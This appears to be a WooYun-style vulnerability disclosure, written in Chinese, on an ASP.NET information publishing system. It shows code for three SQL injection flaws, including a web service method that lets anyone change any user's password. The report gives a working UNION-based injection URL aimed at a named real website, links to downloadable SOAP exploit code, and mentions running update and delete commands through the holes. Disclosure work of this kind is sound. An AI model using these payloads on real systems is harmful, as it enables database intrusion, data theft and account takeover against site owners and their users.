系统:盈动信息发布系统 注入1: 问题文件:AnnounceShow.aspx 问题参数:Id 代码分析:
protected void Page_Load(object sender, EventArgs e) { ...略 string id = this.Page.Request.QueryString["Id"];/*URL传参*/ this.LoadMe(id);/*直接将string字符串代入该方法 跟进方法*/ 略... } private void LoadMe(string id) { DataTable announceist = this.GetAnnounceist(id);/*参数未处理直接代入 GetAnnounceist方法*/ 略... } public DataTable GetAnnounceist(string id) { int trueWebID = Globals.get_TrueWebID(); string str = "A.ID ='" + id + "' ";/*直接SQL拼接导致注入*/ SqlConnection sqlConnection = new SqlConnection(Globals.get_ConnectStr()); SqlCommand selectCommand = new SqlCommand("SELECT A.* FROM Announces A WHERE " + str, sqlConnection); SqlDataAdapter sqlDataAdapter = new SqlDataAdapter(selectCommand); DataSet dataSet = new DataSet("ClassDataSet"); sqlConnection.Open(); sqlDataAdapter.Fill(dataSet, "ClassData"); sqlConnection.Close(); return dataSet.Tables["ClassData"]; }
利用方式: URL:/AnnounceShow.aspx?Id=1122221' union all select 1,'wooyun',@@VERSION,null,null,null,null,null,null,null,null,null-- 例如:http://www.dqjy.cn/AnnounceShow.aspx?Id=1122221' union all select 1,'wooyun',@@VERSION,null,null,null,null,null,null,null,null,null-- 结果如下图:
注入2为webSVC注入 问题文件:WebService/WebUserDataProcess.asmx 问题接口:UseOrUnUseUser 问题参数:strUserGuid 代码分析:
[WebMethod] public string UseOrUnUseUser(string strUserGuid, string strIsUse) { WebBFSynBase webBFSynBase = new WebBFSynBase(); bool blIsUse = !(strIsUse == "启用"); return webBFSynBase.UseOrUnUseUser(strUserGuid, blIsUse).ToString();/*未过滤直接将参数strUserGuid带入到UseOrUnUseUser*/ } // WebBFSynBase public string UseOrUnUseUser(string strUserGuid, bool blIsUse) { string text = ""; string cmdText = string.Concat(new object[] { " update Users set LockUser ='", blIsUse, "' where Guid ='", strUserGuid,/*SQL拼接导致注入*/ "'" }); 略.... return result; }
调用此SVC只能通过SOAP 1.1 或者SOAP 1.2 所以我本地创建了一个c#的请求代码,利用方式下面压缩包中有代码 利用代码:http://pan.baidu.com/s/1dNdOa 7x2e 结果如图:
注入3为webSVC注入同时可以更改任意用户密码,也是SOAP方式, 问题文件:WebService/WebUserDataProcess.asmx 问题接口:UpdatePassword 问题参数:strUserGuid和strUserPass 代码分析:
[WebMethod] public string UpdatePassword(string strUserGuid, string strUserPass) { WebBFSynBase webBFSynBase = new WebBFSynBase(); return webBFSynBase.UpdatePwd(strUserGuid, strUserPass);/*未过滤直接将参数带入到webBFSynBase.UpdatePwd*/ } public string UpdatePwd(string strUserGuid, string strUserPass) { string a = ""; SqlConnection sqlConnection = new SqlConnection(Globals.get_ConnectStr()); SqlCommand sqlCommand = new SqlCommand(string.Concat(new string[] { "Update Users Set Password='", strUserPass,/*SQL拼接*/ "' WHERE Guid='", strUserGuid,/*SQL拼接*/ "'" }), sqlConnection); try { sqlConnection.Open(); int num = sqlCommand.ExecuteNonQuery(); } catch (SqlException ex) { a = ex.Message;/*SQL错误信息*/ } finally { sqlConnection.Close(); } string result; if (a != "")/*将错误信息过滤掉*/ { result = "false"; } else { result = "true"; } return result; }
上面代码将错误信息过滤掉了,另外目前的注入工具好像没有SOAP方式注入的,这个地方只是慢慢猜解的过程以及执行update delete bak等命令 利用方式和注入2一样